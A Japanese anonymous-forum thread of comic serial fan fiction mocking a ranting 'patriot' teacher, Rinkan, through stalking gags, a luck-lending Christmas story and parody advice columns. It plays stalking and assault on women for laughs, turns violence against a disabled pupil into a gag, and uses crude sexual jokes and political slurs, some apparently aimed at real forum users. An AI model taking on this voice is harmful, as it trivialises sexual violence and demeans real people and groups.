林間「よし!早速実行するぞ!!これでやっとヴァルキリーと結婚できるー!!!」

456 :ジバク逆神伝説:2006/12/16(土) 12:21:37 ID:uNHoF9J8
林間「千葉ー」
千葉「ん?何なのかの、林間先生」
林間「お前を愛国サークルから締め出す事にした。」
千葉「な、なんじゃと!!わしを追い出すだと!?やめてくれー、やめてほしいのじゃよー
うおーーーんおんおーーーーんおーーーん!!!」
林間「すまん、しかし今のままお前が愛国サークルに居座られていては
俺たちの活動にも支障が出るんでな…」
千葉「酷いのじゃよーーー!!!許さないのじゃよーーー!!林間先生、
末代まで恨んで恨んで恨み抜いてやるのじゃよ!!!
我魂魄百万回生まれ変わってもこの恨み絶対晴らしてやるのじゃよーーー!!!」
林間(やった…これで幸運が訪れる…待ってろよ、ヴァルキリーたん…)

その日の晩、林間家の玄関をノックする音が聞こえた。
林間「やった!!ヴァルキリーだな!?」
ドアを開けると、そこには警察官の姿が…後ろには松沢三人娘の姿も見える。
警察官「失礼ですが、あなた、今日、千葉ヒサユキ君に暴言を吐きましたね?」
林間「えっ?」
月宮「千葉がな、夕方に足の不自由な中等部1年生の子を
いきなりボコボコにしたんだよ。すぐにその子に取り押さえられたけどな。
で、松沢に連行したら、うわごとのようにお前の名前を挙げて
恨みを晴らすと目をさらにしてブツブツ言ってるんだわ。
で、あたしらが数時間かけて詳しく事情を引き出すと、
何でもお前が千葉を酷い言葉で仲間はずれにしたそうやないか。」
林間「で、でも、ボクは関係ないし…」
月宮「お前、あたしの言うとる事聞こえとったんか?まぁいい、
詳しい話は署でしてもらうから」
林間「ちょっと待てーーー!!肝井ーーー!!よくも嘘つきやがったなーーー!!!
何で俺ばっかりこんな目にあうんだかんしゃくおこす!!11!」

457 :名無しかましてよかですか?:2006/12/16(土) 20:02:44 ID:28Xn1gon
「伊藤美沙貴」って誰やねん、と思ったら…


…あぁ、なるほどw

458 :名無しかましてよかですか?:2006/12/17(日) 03:10:23 ID:dPR1lOOe
足の不自由なコをぼこぼこにか・・・ジバクならやりかねないな・・・。


459 :名無しかましてよかですか?:2006/12/19(火) 23:12:21 ID:kqUrbMgn
>>454-456
つう事は、ジバクからカプリコカツアゲした香具師は・・・・・・。


460 :名無しかましてよかですか?:2006/12/21(木) 10:52:09 ID:DhNmrdas
美人をストーカーしてクリスマス前に捕まる林間、そして終業式の25日にみんなが
クリスマスが楽しかった思い出を語る中かんしゃくをおこすネタ希望

461 :嫉妬最高潮:2006/12/21(木) 11:48:05 ID:aYsVFQfa
林間「ぐぅえっへっへっへっへ…美人を尾行するのはたまりませんな」
ある夜、林間がいつものようにストーカーをしていた。相手は北欧系の20歳前後の金髪女性だ。
林間「ああ…ヴァルキリーたん、君にボクの子供を産んでほしい…」
量目に暗視用赤外線スコープをつけた林間の姿は
どこから見ても完全にイっちゃった性犯罪者だった。
一方で金髪さんはそんな恐るべき変態にストーカーされてるとは気付かないのか、
公園の中に入っていった。林間はチャンスと思い、金髪美女との距離を縮めていく。
林間「今がチャンスだ!伸びろ!俺の股間のビームサーベル!!!1!!」
林間は背後からものすごいスピードで金髪美女に近づき、飛びついた。
金髪美女「きゃああああああああああ!!!!助けてぇーーーイアーーン!!!」
林間「ぐへへへへ、逃げようとしても無駄だよ。君はボクのものだ!
それに、ボクの名前はデュークだよ、ヴァルキリーたん!!1!!」
その時だった、向こうからヨアキム・ハンセンばりのスキンヘッドのお兄さんが走ってきた。
お兄さん「何をやっているのかな、ボク?その女の子は僕の恋人なんだけど」
林間「あうあうしいあいあいあうあうあなうううあう」
お兄さん「いけない子だ。悪い事をした子には罰を与えんとな」
林間「ギャアーーー!!!1!助けてぇ〜〜〜〜!!1!!!」

12月25日、終業式の日、林間は2週間ぶりに学校に姿を現した。
体中のあちこちに包帯を巻いている。
キモ味「うわぁーー、綾波だ!!林間先生もエヴァにはまったの?
僕も今日の格好は第三東京市立第壱中学校の女子の制服…」
林間「誰がエヴァとかいう萌えアニメなんか見るかかんしゃくおこす!!11!」
キモ味「エヴァは萌えアニメなんかじゃないかんしゃくおこす!!11!」
その様子を遠くから暇そうに見ていた鳥坂が言った。
鳥坂「ねぇ、林間のあの格好はなんなん?」
コヴァ「何でも2週間前に金髪の女性をストーカーして
その金髪女性の彼氏にボコられたそうですにょ」
吉田「あいつらしいな。さすが変態…」
林間が血相を変えて吉田らのところに来た。

462 :嫉妬最高潮:2006/12/21(木) 11:49:09 ID:aYsVFQfa
林間「今『あいつらしいな』と言っただろ!」
吉田「言ったよ」
林間「ムッキィーーー!!11!俺はあの女性に交際を申し込もうとしたんだ
それをあのスキンヘッドのチンピラゴロツキ野郎が言いがかりを…」
吉田「うそつけ。いきなり背後から襲い掛かったって聞いたぞ」
林間「ち、ちがう!!1!アレはだな、石につまづいてだな…」
吉田「はいはい、そんな言い訳しても林間先生が性犯罪を起こした事実は変わりませんよ」
林間「いちいち癪にさわる事を!!1!!かんしゃくおこす!!!1!
ときに吉田!!1!!お前昨日のクリスマスイブはどうだった?
どうせ家に引きこもってエロゲばかりやって自分を慰めてたんだろ!1!1!」
コヴァ「それは違いますにょ。実は昨晩、我が家でボクチンと吉田君と鳥坂君と
メグミと凛ちゃんとさやかちゃんの六人でクリスマスパーティを開いたんですにょ。」
鳥坂「楽しかったよなー。凛ちゃんの意外な過去も聞けたしびっくりしたわ」
吉田「来年もやろーぜ」
林間「うぎゃああああーーーーー!!1!!楽しそうに話をするな幸せそうに話をするな
そういうのめっちゃむかつんだよかんしゃくおこす!!!1!」
コヴァ「そういえば昨晩ニッキョーソもデートしてたそうですにょ」
林間「jhfh類fhrfjhるfhrpfhれtrgtpgj!!11!!!!1!!!
rへうううふざけんな何で俺ばっかりこんな目にあってお前らばかりいい目にあうんだ
もうやだぁ〜〜〜〜!!1!1!うhfふっ不pwdhdwhfh!1111!!
かんしゃくおこす!!!1!!!かんしゃくおこすぅ〜〜〜〜〜〜!!11!!123」

463 :クリスマススペシャル前編:2006/12/22(金) 11:03:05 ID:FgF3C9iQ
「今日も契約が取れませんでした・・・」
師走の街、周囲はクリスマスムード一色の中、全身黒ずくめの若い女がふらふらと歩く、
「私、この仕事向いていないのかなぁ・・・」
彼女・・・後藤田英子は地方の大学を出た後、就職が決まらず仕事を探すために東京へ出た。しかし、
そこでも思うような仕事は見つからず、やっと今勤めている会社に半年前に採用された。だが、
この半年に取れた契約はゼロ・・・。毎日のように上司に怒られていた。
「あーあ、どうしよう・・・」
その時だった、英子の視界にどんよりとした男の姿が目に止まった。
「ヒックヒック、うーうー」
林間カヅフサだ。いつものように学校で暴走し、松沢に収容され、その後検査を終えて
解放されて家に帰る途中だ。
「な、なんでボクばかりいじめられるんだよぉ。ボクは愛国者なのに・・・(ブツブツ」
英子の脳裏に営業マニュアルの一節が蘇る「困っている人に声を掛けましょう」
英子は意を決した。
「あのぉ、どうされたんですか?」
「みんなボクのことをいじめるんだよぉ」
林間は言った。
「そうですか、私も気持ち分かります・・・。あ、あの、一緒にお茶でもどうですか?」
普通、そんなことを言われたら大概の人間は引く。ましてや英子はおっとりとした可愛らしい
女の子だ。キャッチかマルチの勧誘か、あるいは宗教関係だとマトモな人間は判断するだろう。
しかし、リビドーが人間の形を保っている生物である林間には通じやしねえ。
「は、はい、よろこんで」

喫茶店
そこで林間は英子に洗いざらい今まであったことを話した。勿論林間による一方的な脚色付きで。
だが、英子は否定せずどれもうんうん頷いてやった。そして林間は彼女を信頼するに至った。
「ところで、これが一体どういう意味があるんですか」
林間は英子に聞いた。

464 :クリスマススペシャル前編:2006/12/22(金) 11:04:15 ID:FgF3C9iQ
「それはですね・・・」
英子はその時初めて資料を大きな黒い鞄の中から取りだした。林間の顔が少し曇る。
「・・・」さすがの林間も何か怪しいことに気づいたらしい。
「あのっ、別にこれからの話は聞いて頂かなくてもいいんですっ。あのっ、ここの
代金も払いますからっ」
英子は、この一押しが下手だった。しかし、今日はなんとかこう続けようとした
「ただっ、貴方の運命を少しでもよりよくしようと私どもでは考えておりまして・・・」
林間は立ち上がりかけていたが、再び席に着いた。
「・・・」
「貴方の人生をよりよく変えるパートナーとして、私どもに協力させて下さいましっ」
「話、聞くぞ」
「えっ」
「話を聞いてやる。こんな可愛い女の子を泣かすのは愛国者としてしてはいけないからな」
まあ、勿論林間の下半身のポークビッツはガチンガチンになっていたんだけど。

「・・・とこのように貴方が幸運を手に入れ、その結果得た利益の一割を私どもに支払うことが
日本ディスティニィ投資の事業スタイルでありまして、貴方の成功のパートナーとして
私どもをご利用ください」
「ふぅん、そうすれば運命は変わるってワケだ」
「はい、私どもは同業他社に比べ利用者に対して低いリスク、中くらいのリターン、そして
高いサービスをモットーに経営しておりますので」
「じゃあ金取られたり、嘘だったりすることはないんだ」
「当たり前です。私どもは貴方の成功をまず考えております」
そう英子が言い切ると林間は少々考えはじめた。そして
「分かった。じゃあ契約する」
「では、ここに貴方のお名前とハンコかサインを、そして貴方の身近な人を保証人として
つけてください」
「えっ、保証人いるの?」林間が声を挙げた。

465 :クリスマススペシャル前編:2006/12/22(金) 11:05:43 ID:FgF3C9iQ
本来、幸運を融資するときは保証人の存在とその了承が必要不可欠であった。何故なら
融資が下りるまでは、その保証人から幸運を調達し当面の幸運に当てるためである。
また、本人が返しきれなくなったときの保証人としての責務も当然ながら存在する。
ただ、運が悪くなるだけなので金銭の保証人に比べれば相対的には低リスクではあるが。
しかし、そのことを英子は説明しなかった。つい、契約を優先してしまったのだ。
特に林間が語った夢はむやみに大きかった。大型契約に繋がると判断した英子は
融資契約を急いでしまった。
「あっ、事後承諾でもかまいませんよ」
「なら平気だな、オレは友人多いし、教師として一部の生徒には慕われているし」大嘘つきである
「ただ、この融資量だと複数の連帯保証人が必要ですが」
「大丈夫大丈夫」
林間は保証人欄に、複数の人間の名を書いた。これが全ての始まりだった。

翌日、海武学園はパニックに陥った。
「た、大変だあ。B組の国崎先生が昨日の晩車に轢かれて意識不明の重体で・・・」
「一緒に教頭もいて教頭も大怪我らしい。飲みに行った帰りだってさ」
「多分、大学の非常勤を増やすって話だろうな、それよりオレら担任どうするんだよ」
「アイツが担任になるんじゃ・・・」
「えっ、林間が・・・。やだなあ・・・」
「それよりなんか今日クラス少なくないか?」
「そういやコヴァと吉田と鳥坂がきてねえぞ」
「千葉と真保とアレはいつものことだからいいけど・・・、ノロウィルスか?」
「いや、吉田と鳥坂はともかく残りのメンツはエボラ出血熱に感染してもゲリ程度で
済みそうな連中だぜ?」
「確かに」
コツコツコツコツ、廊下を歩く音がする。そして教室に顔を出したのは
「今日から国崎先生に代わってこのクラスの担任になった林間カヅフサだ」

466 :クリスマススペシャル前編:2006/12/22(金) 11:08:22 ID:FgF3C9iQ
エイトプリンス、コヴァハウス
「ど、どういうことでしゅか」
「わ、ワシにもさっぱり分からんよ!」
コヴァの父、木場正一はお巡りさんに手錠を掛けられていた。
「もしや組織の連中がワシを公安に・・・」
「違う、お前には東京ニッキョーソの金を不正に流用した疑いがかかっとる!」
お巡りさんが言う
「貴方ー」秋子が叫ぶ
「お父さんー」マサヲとメグミも叫ぶ
「うぽぽおおおおおおおお、ちょっとそれはおかしいですにょ」コヴァが叫んだ。
「秋子・・・、ヒロシ・・・、マサヲ・・・、メグミ・・・(ウウウッッ」
「ボクチンのパパンは団塊世代のサヨンボでしゅが、反日団体を支持しても仲間の金を
取るほど落ちぶれてはいないでしゅにょ!」
しかし、これがかえってお巡りさんの激昂を買った
「なんだと貴様ー。公務員のクセに反日だとー」
「お兄ちゃん思いっきりやぶ蛇ー」メグミが叫ぶ
「うぽぽおおおおおおおお〜〜〜〜」

東京本郷、ヨシダマンソン
吉田の所に電話がかかってくる、鳥坂からだ。
「た、大変や」
しかし、吉田の声も慌てている。
「鳥坂、悪いけどこっちも大変なんだ、手早く」
「あのな、オトンの会社が経理ミスやって損失抱えて取引先から切られそうや」
「なんだってー」
「このまま行ったら間違いなく倒産する。そしたらオレ転校しないと・・・、ところでそっちは?」
「いや、何かしらねえけどこっちも実家の方の老人福祉施設でノロウィルス流行っちゃって
バタバタしてる。で、実家がまた訴えられそう」

467 :クリスマススペシャル前編:2006/12/22(金) 11:09:24 ID:FgF3C9iQ
「それでそれで」
「んで、それで今こっちにも捜査が入りそうで今家から出られん」
「・・・そっちもか、ウチもや」
「それにしても何かおかしくねえか」
「いや、偶然やろ」
「まあオレら二人だけなら良いんだけどコヴァの家も大変なことになってるみたいだし、
学校に連絡したら国崎先生が意識不明の重体って・・・」
「・・・まさか、な」

日本ディスティニィ投資株式会社本社は、うさんくさい会社が集中する新宿西口に存在する。
昨日初めての契約を大口でまとめ、足取りも軽く会社に向かった英子を待ち受けていたのは
鬼のような顔をした営業本部長だった。
「後藤田」
いつものように英子を呼び捨てる営業本部長。事情も分からず笑顔で「はい」と答える英子
バスッッ
顔に飛んできたのは英子の顔とほぼ同サイズの分厚い会社四○報だった。
「えっ」
顔には当たったが気が動転して英子はただボーッと突っ立っていた。そして営業本部長はこう言った。
「お前、取り返しの付かないことやったな。社長が呼んでる。一緒に来い」
社長室
営業本部長がトントンと戸を叩く、「後藤田が今出勤しましたので連れてきました」
「分かったよ。入って」
ギィ、重い扉を開ける。中には色白の美青年と言った面持ちの社長が手を顔の前で組んで
二人を待ちかまえていた。英子が採用されたときは、採用担当だという藤村俊二そっくりの
専務が面接官だったので英子にとっては初対面となる。
「まあ、二人ともかけなよ」
「ハッ」
本部長はかしこまって、英子をまずソファに座らせその後自分も座った。

468 :クリスマススペシャル後編:2006/12/23(土) 12:28:47 ID:q6SmE3pG
社長室
「ボクが富山から出てきた親父が作ったこの会社を継いだのは十年前だった」
若社長は話し始めた。
「当時、この会社はこの業界では売り上げトップだったけど不良債権が多く親父が得意とした
大がかりな仕掛けを通じた融資のせいで何時潰れてもおかしくなかった」
若社長は英子の向かいに座った。
「そこでボクは会社の膿を全部出して、融資制度も保証人重視に切り替えた。まあ、不良債権は
地通の閻魔社長の協力があって処分できたし、保証人制度も妹山商事の市原社長の事業展開を
ヒントに作ったんだがね。そして名前を今の社名に変え、ここのところは若手ベンチャー企業
社長を中心に徹底したファクタリングとカウンセリング、そして早めの資金の引き上げで
業績を伸ばしてきた。売り上げだけではなく、収益も信頼度も財務も福利厚生もこの業界の
トップ企業にすることが出来たと思う」
本部長は神妙な顔で若社長の話を聞いている。
「だがな、後藤田」
初めてそこで若社長は英子の方を向いた。
「はい?」
「そうやって作った信頼もお前のような迂闊な社員が居ると直ぐに台無しになるんだよっ」
鬼のような顔。いや、鬼そのものの顔と言うべきだろうか。それまでの顔が温厚そうな
色白で細面の童顔だったせいか、その落差は一層激しい。英子は何も言えなくなる。
「・・・・」
「・・・・」
英子の怯えきった顔を見て何か思ったらしい。
「まあ、この処分はあとで考える。ただ、後藤田英子。今からお前は営業部営業二課から
回収部回収一課に異動させる。そして、その林間カヅフサという男に融資した運を全て
回収し、元の持ち主に戻すこと」
「・・・」英子は無言だ
「期限は・・・、そうだな、クリスマスまで、としようか」

469 :クリスマススペシャル後編:2006/12/23(土) 12:29:59 ID:q6SmE3pG
海武学園
林間の授業は相変わらずメチャクチャだったが誰も突っ込まなかった。
そして授業終了後吉田と鳥坂から「事情」を伝える電話がクラス委員長の安倍の元に
入った。
「おかしい」
誰とも言わずそんな声が上がった。
何故、林間と敵対していた人間だけがこんなことに・・・。
まさかアレがデスノートみたいなものでも拾ったのか?と言う声が上がるくらい
林間にとって都合の悪い人間が次々と林間の目の前から排除されていく。
一体何が起きているのだろうか・・・。

「はぁっ、はぁっ」
吉田はなんとか自宅から脱出していた。そして何かとぶつかった
「きゃっ」
ぶつかってきたのは黒ずくめの格好をした若い女であった。
「いたたたたたた」
女は転んで尻餅をついている。吉田は放っておくわけにもいかず手助けする。
「すみません・・・」
女はどうも何かを探しているようだった。
「何か、お探しでしょうか」
「あ、あのですね。ちょっと今吉田シゲルさんとヨシダキリコさんのお宅を・・・」
「・・・それ、私ですが」
「えーーーーーーーっ」

近くのファミレス、昼下がりのせいか殆ど客もいず話をするには好都合だ。
朝から何も食べずにいた吉田は軽く昼ランチを平らげると、コーヒーを飲みながらその女
・・・後藤田英子の話を聞いた。しかし、その話は信じがたいものだった。
「つまり、僕たちの運が林間センセーに吸い取られていると」
「はい」英子は首を縦に振った。

470 :クリスマススペシャル後編:2006/12/23(土) 12:30:55 ID:q6SmE3pG
「でも、どうすれば元に戻るんですか?」
「それは・・・まだ分かりませんけど、とりあえず林間カヅフサからその運を
回収すれば状況は少なくとも良くなると思います」
英子はそう説明した。
「ところで運を回収するためにはどうすればいいのよ?」
「・・・ええと・・・、私も良く分からないんですが、とりあえず借りた本人と会って
話をすれば回収出来るって会社では言われたんですけどぉ・・・」
英子もどうも自信はなさそうだ。信用できるか出来ないかと言われれば、限りなく
後者に近いが金や物はとりあえず取られないようだしここは信用するほかなさそうだ。
そう考えると吉田はコヴァに携帯で連絡を取った。
「もしもし・・・」

林間は上機嫌だった。
今日はあいつらが来なかったし、教頭は大怪我で担任になることができたし、授業も
みんな真面目に聞いたし、あとはヴァルキリーたんとクリスマス中ワタシノコーを・・・。
ぐへ、ぐへぐへへへへへへへへ
そして分泌業として有名になって選挙に出馬し当選、ゆくゆくは総理大臣になって
日米安保を破棄して世界中の金髪美少女を我がモノに・・・
げへへへへへへへへへ
クリスマスムード一色の街の中でも、林間の周りだけは誰もいなくて皆遠巻きだ。
そんな時・・・。林間の眼に一つの後ろ姿が目に止まった。
林間の好みのちょっと大人っぽい派手系の美人、すぅーと林間は吸い寄せられていく。
「ハセキョーエビタソカノウシマイヴァルキリーグヘヘヘヘヘヘヘヘヘ」
幸いにも今日何故か林間に特別ボーナスが出たので懐には十万円ほど入っている。
ナンパしてデナーを食べてホテルに行くぐらいは余裕で出来るだろう。
林間のストーキングが始まった。

471 :クリスマススペシャル後編:2006/12/23(土) 12:31:44 ID:q6SmE3pG
コツコツコツコツ
池袋で始まったストーキングは新宿へ向かい、京王線に乗り換え、エイトプリンスの
とある駅で下車し、林間の家の側まで続いていた。
林間がそのことに気づいたとき、一つの妄想が浮かんだ。
「こ、これはボクチンへのサンタさんのクリスマスプレゼント!!!!!」
そう思った林間の鼻から鼻血が噴出する。
そして、そこの角を曲がったら林間の築25年の中古一戸建て住宅があるはずだ。
脳内で彼女のコートの下はミニスカサンタとか実は全裸とか都合の良い想像が広がりまくる
林間。もう、辛抱たまらない。
「のびろ如意棒!いぐぅぅぅぅぅぅぅぅぅぅぅぅぅぅ」
奇声と共に林間は彼女に襲いかかった。
その時だった
「うぽぽおおおおおおおお〜〜〜」
「やっぱ想像通りだったな林間ー」
コヴァと吉田が林間に飛びかかってきた。
「え?どういうこと?」
林間は鳩が豆鉄砲を喰らったような顔をしている。
「私ですよ、林間カヅフサさん」
若い女が振り返ると、ついこの前会った顔が
「えっ?どういうことですかね?」
「貴方は私との約束を破りましたね?」
「えっ、それはないでしょ?」
林間の顔が徐々に青ざめていく
「いいえ、契約をするときはしっかり契約条件を確かめてから契約するのが常識ですよ」
「だからっっっ、そんなことっっ」
「まあ、いいですわ。林間カヅフサさん。貴方から『回収』致します」
「え?」英子の指が林間の目と鼻の先に突きつけられる
「どーーーーん」

472 :クリスマススペシャル後編:2006/12/23(土) 12:32:39 ID:q6SmE3pG
全ては元通りになった。
クリスマス
コヴァや吉田や鳥坂達は無事、実家のトラブルが全て先方の手違いと言うことで片づき
幸せなクリスマスを過ごした。
担任も病院で目を覚まし、サユリさんと病院でだけど二人っきりのクリスマスを
過ごせたとか。
林間は?
「ボ、ボクのヴァルキリーたんになってくれませんか?」
「キャー、助けてポリスメン!粗末なチ○コ出した変質者が・・・」
とまあいつものような生活に戻り、ただ、通報した女の子が弁護士の娘だから
どうなるかは分からないけどな、来年以降。

そして英子はと言うと・・・
「本間様、まだ支払いが残っておりますが」
「税政会長を辞めて余裕がないんだ、後にしてくれ・・・」
「それは困りますね、払わないと保証人の安部様の元に伺いますが」
「そっ、それだけは辞めてくれ!そんなことになったら・・・」
「では、宜しいですね」
「え?」
「どーーーーーーーん」
回収部の仕事がよほど水にあったのか、鬼のゴトゥーザ様として有名になったとか
ならないとか

473 :名無しかましてよかですか?:2006/12/26(火) 14:53:26 ID:r1iNhAir
さすがはゴトゥーザ様だ!

モノが違うぜ!

474 :名無しかましてよかですか?:2006/12/26(火) 22:22:54 ID:/IAo0Q/A
http://www.yomiuri.co.jp/kyoiku/qanda/consul/20061020wn02.htm

475 :名無しかましてよかですか?:2006/12/29(金) 14:15:11 ID:37wS5MGY
198×年某月某日付けヨミーリ新聞家庭欄

相談者 大阪府比良方市 女性

高校1年生の息子のことでご相談します。テレビでアメリカなどの外国の報道を
みては、外国を酷評し、最後には「あんな国なんか無くなっちまえ」などと暴言を吐き、
聞くに耐えません。「他人を悪く言うのはよくないよ」と親の気持ちは伝えてきましたが、
これに関しては反抗的態度を取るばかりです。先日父親が厳しく指摘したら、
激しく反抗し取っ組み合いになりそうでした。外でおおっぴらにこのような発言はしていないと思いますが、
このような狭い了見では、とても人様とは上手くやっていけないだろうと心配です。
息子の言動をどのように考え、どのように接して行けばよいでしょうか。

回答者 ビッグスロープ学院大学名誉教授 嘉門・エイジ・アスカ

お母様の心配はもっともであり、さぞかしご心痛のことと察せられます。
学校の勉強についていけないという問題も考えられますが、最も一般的なケースは、
新しく進学した高校で友達が出来にくいという人間関係のつまづきです。
おっしゃっているような「このような狭い了見では、とても人様とは上手くやっていけないだろう」ではなく、
「人様と上手くやっていけないから、このような狭い了見になる」のです。順序が逆です。
(以下略)

林間「うぽぽぽぽぽぽぽぽぽぽぽおおおおおおおおお!!!!!
俺は了見が狭い人間なんかじゃない!11!1アメリカは全世界平和のために
なんとしてでも打倒すべき人類の敵であり…そんなことより、
俺を人様と上手くやっていけない人間とか言うな!!1!!
クソババァもこんなもの新聞に投書するなかんしゃくおこす!!1!1!」

476 :名無しかましてよかですか?:2006/12/29(金) 20:35:12 ID:oum5FOA7
>>475
最高!!!
笑い死にしそう。

477 :名無しかましてよかですか?:2006/12/31(日) 00:07:45 ID:3dpQZiaS
2006年某月某日付けアカヒ新聞家庭欄

相談者 栃木県某日教組所属教師 女性

大学四年生の息子のことでご相談します。ネットで2ちゃんねるなどの掲示板の書き込みを
見ては、小林よしのりファンを酷評し、最後には「コヴァなんか全員死んじまえ」などと暴言を吐き、
聞くに耐えません。「他人を悪く言うのはよくないよ」と親の気持ちは伝えてきましたが、
これに関しては反抗的態度を取るばかりです。先日同じく教師の父親が厳しく指摘したら、
激しく反抗し取っ組み合いになりそうでした。外でおおっぴらにこのような発言はしていないと思いますが、
このような狭い了見では、とても人様とは上手くやっていけないだろうと心配です。また、
アニメやエロゲが大好きなようで、まともな恋愛をしたことがありません。
息子の言動をどのように考え、どのように接して行けばよいでしょうか。

回答者 評論家 切通理作乃助太郎

お母様の心配はもっともであり、さぞかしご心痛のことと察せられます。
就職した後の研修その他についていけないという問題も考えられますが、
最も一般的なケースは、 新しく入社した会社で友達が出来にくいという人間関係のつまづきです。
おっしゃっているような「このような狭い了見では、とても人様とは上手くやっていけないだろう」ではなく、
「人様と上手くやっていけないから、このような狭い了見になる」のです。順序が逆です。
特に危険なのは趣味が気持ち悪い上にマイノリティーな事です。女子社員に蛇蝎の如く
嫌われる可能性があります。かと言って、後数ヶ月ではもはや手遅れ(以下略)

ティキ「うぽぽぽぽぽぽぽぽぽぽぽおおおおおおおおお!!!!!
俺は了見が狭い人間なんかじゃない!11!1コヴァは僕珍の脆弱な
プライドのためになんとしてでも打倒すべき人類の敵であり…そんなことより、
俺を人様と上手くやっていけない人間とか言うな!!1!!
クソババァもこんなもの新聞に投書するなかんしゃくおこす!!1!1!」

478 :名無しかましてよかですか?:2006/12/31(日) 02:04:58 ID:1anqpXqQ
他人の二番煎じ(しかも丸写しでテキトーに語句を入れ替えただけ)のネタツマンネ

479 :名無しかましてよかですか?:2006/12/31(日) 07:37:20 ID:mgpa3ANu
>>478
つーか、>>477って、
キモ?推定?どっち?

480 :名無しかましてよかですか?:2006/12/31(日) 08:01:18 ID://Aqp+ii
>>479
キモだろ。ここ最近何が気に入らないのか、スレを荒らしまくっているし。

481 :お正月:2007/01/01(月) 14:58:56 ID:K2Qke58d
う ぽぽぽぽぽぽん うぽぽぽぽぽぽぽん うぽー うぽー うぽー ぽぽぽー
担任「・・・春の海を愚弄するのは止めてくれないか?」
コヴァ「うおぅ、そうでした」
担任「あらためまして、あけましておめでとうございます」
コヴァ「おめでとうございますですにょ」
担任「昨年は、このコヴァがすっかりマトモになって私の心労はかなり軽くなりました。
ありがとうございました。うう・・・」
コヴァ「ニッキョーソ、泣かないで欲しいですにょ。ところで林間先生はどこですかね?」
担任「・・・いい、呼ばんでいい」
コヴァ「ああ、そうでした。林間先生は今・・・」

都立松沢軍団特別病棟
林間「いぐぅぅぅぅぅぅぅぅぅぅ(ビリビリビリビリー)」

コヴァ「年末に大阪で金髪美人襲って入院させられてるですにょ」
担任「・・・、こんなスレですが2007年も宜しくお願い致します・・・」

482 :名無しかましてよかですか?:2007/01/01(月) 15:14:53 ID:K9qZN2vF
>>480
大阪で金髪美人襲ったら、
「中宮軍団」じゃないの?

で、やっぱ「日本橋」で襲ったのだろうか?

483 :名無しかましてよかですか?:2007/01/02(火) 10:51:37 ID:XjRFlWPI
三馬鹿カルテットの正月風景

林間…パパンとママンからお年玉を貰えないことに腹を立てて発狂
千葉…笑点に出ていた小〇優子を見て和服姿のゆうこりんと脳内デート
肝井…お年玉で広辞苑を購入、数ページ読んで賢くなった気がしてウットリとナルシスト全開の妄想に耽る

484 :名無しかましてよかですか?:2007/01/03(水) 00:10:57 ID:GEBzardO
>>483
広辞苑のつもりが、実は子蛆炎。

485 :今年の靖国神社は?:2007/01/04(木) 14:21:14 ID:ofL2hKpd
新春、靖国神社。コヴァは初詣に来ていた。
コヴァ「パンパン、今年は・・・」
その時だった。
キェェェェェェェェェェェェェイ
鳩が一斉にバサバサバサバサバサバサバサ〜〜〜〜っと飛び立つ。

 嫌 な 予 感 

奇声のする方向をおそるおそる見ると、人だかりの真ん中がポッカリと開いている。
どうも真ん中で誰かと誰かが取っ組み合いのケンカをしているようだ。
コミケで鍛えたすり抜け術を駆使し近くへ寄ってみると・・・

北越谷「キェェェェェェェェェェェェェイ」
ボコッボコッボコッヌルポッガッ
林間「助けてくれ〜」

林間が北越谷にボコボコにされていた。コヴァはそっと、その場を後にした。
遠くから聞き慣れた救急車のサイレンの音もするし

とまあ、例年に比べれば平和な靖国神社でした。

486 :名無しかましてよかですか?:2007/01/04(木) 21:26:55 ID:tEpVDBRb
北越谷と、林間ってどういう理由で喧嘩したんだ?

487 :初夢:2007/01/05(金) 11:56:19 ID:unhi8Qca
宮城道雄の名曲、春の海が流れる
出てきたのはミエ原啓えのような和服を着たガリガリの男と金髪戦乙女
林間「あけましておめでとうございます。新春愛国対談の時間です。
今日は私、愛国思想家の林間カヅフサと」
ヴァル「私、ヴァルキリーがお送りする『愛国問答』に素晴らしい
スペシャルゲストの方々をお招きしまして新春特別バージョンでお送り致します」
林間「では、ゲストの紹介に移らせて頂きます」
ヴァル「まず向かって日本教職員大学教授、引田サヨン坊さんです」
引田「宜しくおねがいします」
貧相な山本マスヒロ風のヒゲ親父が軽く頭を下げる。
ヴァル「そして評論家のポチ米親雄さんです」
ポチ米「あけましておめでとうございます」
こっちは引田に比べると若いが手にはヲタ風グローブをしており、顔に不似合いな
犬耳カチューシャをつけている。
四人、席に座る。
ヴァル「では、お二人にまずお聴きしますが、これからの日本は一体
どのようになるべきだとお考えでしょうか」
引田「まず、護憲勢力を集結し改憲を阻止(中略)市民協働の社会作りを
進めていくべきでしょう。これが21世紀型の新しい社会だと私は考えます」
ヴァル「そうですか、ではポチ米さんは?」
ポチ米「引田さんはそうおっしゃりましたが、私はむしろアメリカと協調し
(中略)軍事貢献も含めた国際社会への貢献が重要だと考えます」
ヴァル「そうですか、では、林間さん」
林間「二人ともまちがっとるわぁ(声がひっくり返る)!!!1
これからの日本を考える上で一番大切なことは自主独立、自主独立ですぞぉ!
自主独立さえ回復すれば、教育問題経済問題社会問題全てが一挙に解決すると
ワシは考えておるっ!」
林間はそう叫んだ

488 :初夢:2007/01/05(金) 11:57:25 ID:unhi8Qca
林間「引田っ!11!」
引田「はいっ」
林間「お前のようなニッキョーソやサヨクがいるから子どもが死ぬんじゃ!(注 自分が虐められた」
引田「ごめんなさーい」
林間「ポチ米っっ!1!!!」
ポチ米「はいっ」
林間「お前のような親米がいるから日本はアメリカの植民地(でボクチンは英語が出来ずに
有名難関大学に進学できなかった)なんじゃ!!1かんしゃくおこす!!!1」
ポチ米「すんませーーーん」
林間「えっへん、論破終了」
ヴァル「良かったですね(微笑み」
引田「・・・あのう・・・、では今日は今から貴方に教えを請いたいのですが」
林間「なんだねブサヨ」
引田「歴史学者でもある私から言わせてもらえば、貴方が書いた評論『明治時代は素晴らしい』に
あった江戸時代観ははっきり言ってマルクス主義史観の影響を受けた私から見ても非常に
古めかしいのですが」
林間「あんですとぉ!」
引田「私が大学で学んだ頃には既に、江戸時代の民衆は決して経済的には抑圧された存在ではなく
むしろ独自の文化を持った存在であったという民衆史観が出てきた頃でしたから言うんですが
貴方の『身分制度が絶対』や『江戸時代は鎖国による暗黒時代』的な見方ははっきり言って
私から見ても時代遅れに過ぎます」
林間「く、くくくく・・・それは・・・」
ポチ米「それと私からもいくつか」
林間「あんですとぉぉぉぉぉ!」
ポチ米「貴方の評論や本を読んでいつも思うのですが、何故ソースがウィペディアやネット上の
情報に偏っているのですか?私は一次資料を重要視するのが何かを論ずるときの基本だと大学で
習いましたが貴方の師匠である千田ミノル氏はそんないい加減だったのですか?それに貴方の
